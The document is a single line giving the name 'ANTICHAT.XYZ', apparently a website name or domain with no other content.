ANTICHAT.XYZ